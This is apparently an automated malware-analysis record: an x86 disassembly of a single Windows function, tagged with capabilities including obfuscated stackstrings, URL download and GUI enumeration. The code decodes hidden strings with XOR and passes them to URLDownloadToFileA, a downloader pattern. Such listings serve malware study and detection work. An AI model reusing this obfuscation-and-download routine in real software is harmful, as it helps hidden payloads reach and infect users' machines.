Function at 0x4327a0
Capabilities:
Contain obfuscated stackstrings
Download url
Enumerate gui resources
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1dc
mov eax, dword [0x43d040]
xor eax, esp
mov dword [esp + 0x1d8], eax
push esi
call fcn.00432360
push dword [0x448710]
push 0x42ec60
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x50], 0xb6748e5f
lea ecx, [esp + 0x130]
mov dword [esp + 0x54], 0xdd5de0c9
lea edx, [ecx + 1]
mov dword [esp + 0x58], 0xd2944c7
xorps xmm0, xmm0
mov dword [esp + 0x5c], 0xa6460847
movaps xmm1, xmmword [esp + 0x50]
mov dword [esp + 0x60], 0x77e6c5ee
mov dword [esp + 0x64], 0x85ac3ef8
mov dword [esp + 0x68], 0x43795039
mov dword [esp + 0x6c], 0x7f0a8535
movaps xmm2, xmmword [esp + 0x60]
mov dword [esp + 0x70], 0xf21c9cb3
mov dword [esp + 0x74], 0x92f07e3a
mov dword [esp + 0x78], 0xdc1564dc
mov dword [esp + 0x7c], 0xc0ef5ad3
movaps xmm3, xmmword [esp + 0x70]
mov dword [esp + 0x80], 0x9ce4bfec
mov dword [esp + 0x84], 0x569c37c8
mov dword [esp + 0x88], 0x59b0698d
mov dword [esp + 0x8c], 0xca5eb9fd
movaps xmm4, xmmword [esp + 0x80]
mov dword [esp + 0x90], 0xce40980e
mov dword [esp + 0x94], 0x40bc5225
mov dword [esp + 0x98], 0x8d3a99b
mov dword [esp + 0x9c], 0x262f6974
movaps xmm5, xmmword [esp + 0x90]
mov dword [esp + 0xa0], 0xd057e166
mov dword [esp + 0xa4], 0x79c86953
mov dword [esp + 0xa8], 0xff1ae012
mov dword [esp + 0xac], 0xd21e4cd9
movaps xmm6, xmmword [esp + 0xa0]
mov dword [esp + 0xb0], 0xc600fa37
mov dword [esp + 0xb4], 0xf272daba
mov dword [esp + 0xb8], 0x234720a4
mov dword [esp + 0xbc], 0xc5356123
mov dword [esp + 0xc0], 0x1682b781
mov dword [esp + 0xc4], 0xe6824e88
mov dword [esp + 0xc8], 0x22563d56
mov dword [esp + 0xcc], 0x1c6bf141
xorps xmm2, xmmword [esp + 0xc0]
mov dword [esp + 0xd0], 0x9c79f1db
mov dword [esp + 0xd4], 0xabdf0d4e
mov dword [esp + 0xd8], 0xeb2451e8
mov dword [esp + 0xdc], 0xf2da6fe7
xorps xmm3, xmmword [esp + 0xd0]
mov dword [esp + 0xe0], 0xaad287d5
mov dword [esp + 0xe4], 0x66aa0ffc
mov dword [esp + 0xe8], 0x6c8946ba
mov dword [esp + 0xec], 0xf96781c5
xorps xmm4, xmmword [esp + 0xe0]
mov dword [esp + 0xf0], 0xfb76a83f
mov dword [esp + 0xf4], 0x70886312
mov dword [esp + 0xf8], 0x38ea9aac
mov dword [esp + 0xfc], 0x564a1b5b
xorps xmm5, xmmword [esp + 0xf0]
mov dword [esp + 0x100], 0x88239309
mov dword [esp + 0x104], 0x1de65b60
mov dword [esp + 0x108], 0xff1a8c7e
mov dword [esp + 0x10c], 0xd21e4cd9
xorps xmm6, xmmword [esp + 0x100]
movaps xmmword [esp + 0x130], xmm1
xorps xmm1, xmmword [esp + 0xb0]
movaps xmmword [esp + 0x130], xmm1
movaps xmmword [esp + 0x140], xmm2
movaps xmmword [esp + 0x150], xmm3
movaps xmmword [esp + 0x160], xmm4
movaps xmmword [esp + 0x170], xmm5
movaps xmmword [esp + 0x180], xmm6
movaps xmmword [esp + 0x1b0], xmm0
mov dword [esp + 0x1c0], 0
mov dword [esp + 0x1c4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432a77
sub ecx, edx
lea eax, [esp + 0x130]
push ecx
push eax
lea ecx, [esp + 0x1b8]
call fcn.00433340
mov dword [esp + 0x10], 0x915cc074
lea ecx, [esp + 0x110]
mov dword [esp + 0x14], 0x9d16b4d3
lea edx, [ecx + 1]
mov dword [esp + 0x18], 0x501b53d3
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0xac1b125a
movaps xmm1, xmmword [esp + 0x10]
mov dword [esp + 0x20], 0x1682deef
mov dword [esp + 0x24], 0xe6824e88
mov dword [esp + 0x28], 0x22563d56
mov dword [esp + 0x2c], 0x1c6bf141
movaps xmm2, xmmword [esp + 0x20]
mov dword [esp + 0x30], 0xc600fa37
mov dword [esp + 0x34], 0xf272daba
mov dword [esp + 0x38], 0x234720a4
mov dword [esp + 0x3c], 0xc5356123
mov dword [esp + 0x40], 0x1682b781
mov dword [esp + 0x44], 0xe6824e88
mov dword [esp + 0x48], 0x22563d56
mov dword [esp + 0x4c], 0x1c6bf141
xorps xmm2, xmmword [esp + 0x40]
movaps xmmword [esp + 0x110], xmm1
xorps xmm1, xmmword [esp + 0x30]
movaps xmmword [esp + 0x110], xmm1
movaps xmmword [esp + 0x120], xmm2
movaps xmmword [esp + 0x190], xmm0
mov dword [esp + 0x1a0], 0
mov dword [esp + 0x1a4], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432b70
sub ecx, edx
lea eax, [esp + 0x110]
push ecx
push eax
lea ecx, [esp + 0x198]
call fcn.00433340
cmp dword [esp + 0x1a4], 0xf
lea ecx, [esp + 0x190]
push 0
cmova ecx, dword [esp + 0x194]
lea eax, [esp + 0x1b4]
cmp dword [esp + 0x1c8], 0xf
push 0
cmova eax, dword [esp + 0x1b8]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.00431d50
call fcn.00431970
push 0x42ecc0
lea ecx, [esp + 0xc]
call fcn.00433110
mov esi, eax
cmp dword [esi + 4], 0
je 0x432d2b
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
jne 0x432d2b
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0xc], eax
je 0x432c15
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x42ead0
lea ecx, [esp + 0xc]
call fcn.00433110
mov esi, eax
cmp dword [esi + 4], 0
je 0x432d2b
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
jne 0x432d2b
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0xc], eax
je 0x432c56
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea edx, [esp + 0x190]
mov dword [esp + 8], eax
lea ecx, [esp + 8]
call fcn.00432570
call fcn.004320c0
mov ecx, dword [esp + 0x1a4]
cmp ecx, 0xf
jbe 0x432cb8
mov edx, dword [esp + 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432cae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432d04
push ecx
push edx
call fcn.00433a4d
add esp, 8
mov ecx, dword [esp + 0x1c4]
mov dword [esp + 0x1a0], 0
mov dword [esp + 0x1a4], 0xf
mov byte [esp + 0x190], 0
cmp ecx, 0xf
jbe 0x432d14
mov edx, dword [esp + 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432d0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x432d0a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00433a4d
add esp, 8
mov ecx, dword [esp + 0x1dc]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00433624
mov esp, ebp
pop ebp
ret 0x10
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3